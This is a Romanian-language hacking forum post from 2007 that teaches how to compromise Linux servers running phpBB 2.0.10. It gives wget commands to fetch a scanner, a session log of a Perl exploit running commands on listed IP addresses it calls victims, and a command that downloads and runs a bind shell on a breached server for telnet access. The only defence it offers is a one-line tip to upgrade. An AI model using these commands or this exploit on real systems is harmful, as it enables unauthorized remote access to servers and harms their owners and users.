 |
|
 |
|
MAD
Administrator
Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
|
|
 |
|
 |
|
 Posted: 20/10/2007 07:58 Post subject: phpbb scanner. |
 |
|
Deci asa dar .. vorbim despre o vulnerabilitate la o versiune mai veche de phpBB .. si anume phpBB 2.0.10 .
Cu aceasta vulnerabilitate puteti luat access la sisteme de Linux care folosesc un forum phpBB 2.0.10 .
Scannerul il puteti luat de aici :
wget geocities.com/ialin2003/php.tar.gz
tar zxvf php.tar.gz
cd phpbb
./x x.x ( id=root )
./z x.x ( orice user )
Dupa ce scanati o clasa dati : cat vuln.txt
O sa va arat cum se intra intrun server cu acest scanner.
| Code: | [root@ns phpbb]# ls
anus path.txt sperm vuln.txt z
auto sloboz.pl vagin x
[root@ns phpbb]# cat vuln.txt
211.239.124.59/phpBB2/
83.18.158.78/phpBB2/
143.107.179.234/phpBB2/
62.231.116.110/forum/
62.231.116.110/phpBB2/
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 1 "w"
*** CMD: [ w ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[-] EXPLOIT FAILED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 2 "w"
*** CMD: [ w ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[-] EXPLOIT FAILED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 3 "w"
*** CMD: [ w ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[-] EXPLOIT FAILED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 4 "w"
*** CMD: [ w ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[-] EXPLOIT FAILED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 5 "w"
*** CMD: [ w ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[-] EXPLOIT FAILED
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 6 "w"
*** CMD: [ w ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
13:52:10 up 301 days, 20:56, 0 users, load average: 2.94, 2.94, 2.91
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# ./sloboz.pl 211.239.124.59 /phpBB2/ 6 "id;uname -a;hostname;pwd"
*** CMD: [ id;uname -a;hostname;pwd ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
uid=99(nobody) gid=4294967295 groups=4294967295
Linux object-lab.com 2.6.9-42.EL #1 Sat Aug 12 09:17:58 CDT 2006 i686 i686 i386 GNU/Linux
object-lab.com
/home/object/public_html/phpBB2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[root@ns phpbb]# mwhahaha ! |
Deci ce trebuie observat aici .. luam prima victima si anume : 211.239.124.59/phpBB2/ .. despartim /phpbb2/ de ip .. punem 1 numar de la 1 la 10 .. apoi in " " punem comanda care vrem sa o rulam pe server.
Orice actiune care vreti sa o faceti pe server trebuie facut dintro comanda exemplu in cazul nostru .. sa zicem ca rulam un bind ..
./sloboz.pl 211.239.124.59 /phpBB2/ 6 "wget geocities.com/ialin2003/bind.tar.gz;tar zxvf bind.tar.gz;cd bind;./4000"
si bindul ruleaza .. dupa care ne conectam cu telnet port 4000.
Sper ca ati inteles.
Pasii astia ii faceti cu fiecare victima care ajunge in vuln.txt.
Numerele alea intre 1 - 10 pot fii si intra 1 - 99999999999 dar nu incerc sa va explic cum anume va dati seama fidel ce numar sa puneti acolo pentru ca este suficient de complicat de explicat. Poate altadata .. 
Enjoy !
Metoda de securizare impotriva acestui scanner .
Pur si necomplicat instalati pe serverul vostru cea mai noua versiune de phpbb si sistem vostru va fi securizat impotriva acestui scanner.
Cam atat .. cred .
Va astept cu comentarii si metode de securizare a forumul phpbb 2.0.10 pentru a evita schibarea forumului phpbb si pierdearea datelor.
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################
[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url] |
|
FAQ 
Log in to check your private messages 
